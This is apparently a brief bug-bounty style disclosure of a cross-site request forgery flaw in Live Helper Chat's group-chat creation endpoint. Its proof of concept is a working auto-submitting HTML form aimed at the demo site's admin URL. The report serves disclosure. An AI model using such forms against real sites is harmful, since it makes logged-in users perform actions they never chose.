✍️ Description

csrf bug to create a group chatlist

🕵️‍♂️ Proof of Concept

There is no csrf token checking during creating a group-chatlist.
Bellow request is vulnerable to csrf attack

<form action="https://demo.livehelperchat.com/site_admin/groupchat/new" method="post" id="myForm">
<input type=hidden name="Name" value="testt">
  <input type="hidden" name=Type value="1">
  <input type="hidden" name=Save_action value="Save & Exit">
 <input type="submit" value="submit">
</form> 
<script>
document.getElementById("myForm").submit()
</script>

💥 Impact

csrf bug to create a group chatlist